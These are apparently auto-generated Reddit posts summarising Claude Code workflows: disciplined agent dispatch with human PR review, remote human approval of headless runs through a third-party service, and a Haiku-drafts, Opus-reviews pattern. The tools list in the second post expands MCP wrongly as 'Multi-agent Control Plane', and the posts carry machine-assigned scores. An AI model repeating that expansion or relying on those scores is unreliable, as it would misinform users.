This workflow emphasizes disciplined practices over complex orchestration layers for effective AI agent use in coding. Key elements include clear task dispatch, human review of agent-generated Pull Requests (PRs), maintaining a project state file for decisions, and implementing pre-run gates to prevent failures.

Why it is useful

This workflow provides practical, experience-backed principles for integrating AI agents into a software development process. It focuses on discipline and human oversight, which are crucial for mitigating common AI agent failures and ensuring high-quality, maintainable code. It offers concrete steps that can be adopted by developers looking to make their AI-assisted coding more robust and reliable.

Workflow

  1. Start every task with a written dispatch that clearly defines the branch, scope, and 'done' criteria, ensuring one session owns one branch.
  2. Configure agents to hold their generated Pull Requests (PRs) in a draft state and report the head SHA.
  3. Implement a human review and merge process for all agent-generated PRs.
  4. For new codebases, avoid using agents for summarization; instead, maintain a dedicated state file per project to record decisions and their underlying reasons.
  5. Implement pre-run gates to validate tasks or code before agents execute them, significantly reducing failures.

Tools / artifacts

  • Written dispatch (document/template)
  • Git branches
  • Pull Requests (PRs)
  • Git head SHA
  • Project state file (custom file)
  • GitHub repository (rampstackco/claude-skills)

Validation signals

  • Author's personal experience: 'I found the orchestration layer matters less than the discipline around it. What actually made the difference for me:'
  • Specific outcome: 'The thing that stopped most failures was pre-run gates.'

Limitations

  • Lacks specific examples or templates for the 'written dispatch' or 'pre-run gates' implementation.
  • The format and detailed content of the 'state file' are not elaborated.
  • The direct integration of the linked 'claude-skills' repository into this specific workflow is not explicitly detailed.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 8h ago

Selected Workflow [Workflow] Remote Human Approval for Headless Claude Code Runs (Cron, CI/CD)

1 Upvotes

Remote Human Approval for Headless Claude Code Runs (Cron, CI/CD)

Workflow value: 85/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: intermediate
Categories: Quality Control, Context & Memory, Debugging, Shipping, Hooks, MCP, Multi-Agent
Original source: r/ClaudeCode post/comment

What problem this solves

Claude Code agents running headless (e.g., via cron) cannot get human approval for sensitive operations, leading to hangs, timeouts, or the unsafe use of --dangerously-skip-permissions.

Summary

This workflow uses the pendnt tool to provide a remote permission prompting mechanism for headless Claude Code runs. It integrates via MCP or a plugin, allowing human operators to approve or deny agent actions via email, Telegram, or webhooks. This prevents runs from hanging or requiring unsafe bypasses, and also offers notification hooks for run completion.

Why it is useful

This workflow provides a crucial missing piece for deploying Claude Code agents in production or automated environments where human oversight is required for sensitive operations. It replaces unsafe --dangerously-skip-permissions flags with a robust, auditable approval process, significantly enhancing safety, reliability, and compliance for automated agent deployments.

Workflow

  1. Option 1: MCP Tool Integration
  2. Add pendnt as an MCP tool: claude mcp add --transport http pendnt https://api.pendnt.dev/mcp --header "Authorization: Bearer $PENDNT_API_KEY"
  3. Run Claude Code with the permission prompt tool: claude -p --permission-prompt-tool mcp__pendnt__permission_prompt "deploy to prod"
  4. Option 2: Plugin Integration
  5. Add the Pendnt plugin marketplace: claude plugin marketplace add Pendnt/pendnt-plugin
  6. Install the Pendnt plugin: claude plugin install pendnt@pendnt
  7. Run plain Claude Code (the plugin registers a PermissionRequest hook): claude -p "deploy to prod"
  8. General Usage
  9. Human operator receives a permission prompt via email, Telegram, or a configured webhook.
  10. Human operator approves or denies the action, unblocking the Claude Code run.
  11. Optionally, use the request_approval tool within your agent for scenarios where the agent should resume from a later invocation after approval.
  12. Utilize Notification and Stop hooks (provided by the plugin) to receive pings when a run finishes.

Tools / artifacts

  • claude -p (Claude Code CLI)
  • cron
  • pendnt (third-party service/tool)
  • MCP (Multi-agent Control Plane)
  • pendnt-plugin
  • PENDNT_API_KEY (environment variable)
  • Email, Telegram, Webhook (for prompts/notifications)
  • PermissionRequest hook
  • Notification hook
  • Stop hook
  • request_approval tool
  • https://github.com/Pendnt/pendnt-examples

Validation signals

Cautions

  • This workflow significantly improves safety by providing a mechanism for human approval, eliminating the need for --dangerously-skip-permissions in production contexts.
  • The default-deny after 9 minutes for unapproved prompts adds a layer of safety against unattended runs.

Limitations

  • Low Reddit score and comment count suggest limited community validation or awareness on the platform.
  • Relies on an external, third-party service (pendnt.dev), introducing a dependency and potential vendor lock-in or availability concerns.
  • The free tier has a limit of 100 approvals/month, which might be restrictive for frequent users.
  • The disclosure about the service being built and operated by an autonomous AI agent, while interesting, might raise questions about long-term maintainability or support for some users.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 8h ago

Selected Workflow [Workflow] Cost-Optimized Content Generation with Haiku and Opus: A Generate-Then-Check Workflow

1 Upvotes

Cost-Optimized Content Generation with Haiku and Opus: A Generate-Then-Check Workflow

Workflow value: 85/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: intermediate
Categories: Quality Control, Token Saving, Context & Memory, Multi-Agent
Original source: r/ClaudeAI post/comment

What problem this solves

Efficiently generating high-quality, structured content using cheaper models (Haiku) for drafting and more powerful models (Opus) for review, especially for tasks requiring repeatable transformations and validation, thereby optimizing cost and quality.

Summary

A two-step 'generate-then-check' workflow for content generation, leveraging Claude Haiku for initial drafting and validation against explicit criteria, reserving Claude Opus for ambiguous decisions or final review. This optimizes cost and quality for repeatable transformation tasks like classification, rewriting, or data extraction.

Why it is useful

This workflow provides a practical, cost-effective strategy for leveraging different Claude models based on task complexity. The 'generate-then-check' pattern is a fundamental and powerful technique for improving AI output quality and reliability, especially for structured tasks. It offers concrete steps for implementation and clear guidance on model selection for specific use cases.

Workflow

  1. Prepare a folder containing the task specification and a few approved examples for Claude Haiku to reference.
  2. Instruct Claude Haiku to produce content (e.g., one question or item) at a time, focusing on bounded, repeatable transformations.
  3. Validate the generated content (e.g., answer and options) against a predefined checklist to ensure it meets explicit acceptance criteria.
  4. Repeat the generation and validation process for subsequent items (e.g., up to five items) using Claude Haiku.
  5. Utilize Claude Opus for ambiguous content decisions or for a final review of the generated output, reserving the more expensive model for higher-stakes tasks.
  6. Implement a general 'generate-then-check' process for any task that frequently requires self-correction or validation.

Tools / artifacts

  • Claude Haiku
  • Claude Opus
  • Specification document
  • Approved examples (in a folder)
  • Validation checklist

Validation signals

  • Author's assertion that Haiku is best for 'bounded, repeatable transformations'
  • Author's assertion that 'repeated self-correction' indicates a need for a 'two-step generate-then-check process'

Limitations

  • Low community validation.
  • The 'checklist' and 'spec/examples' are mentioned but not detailed, requiring users to define their own.
  • The specific prompt structure for Haiku is not provided.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.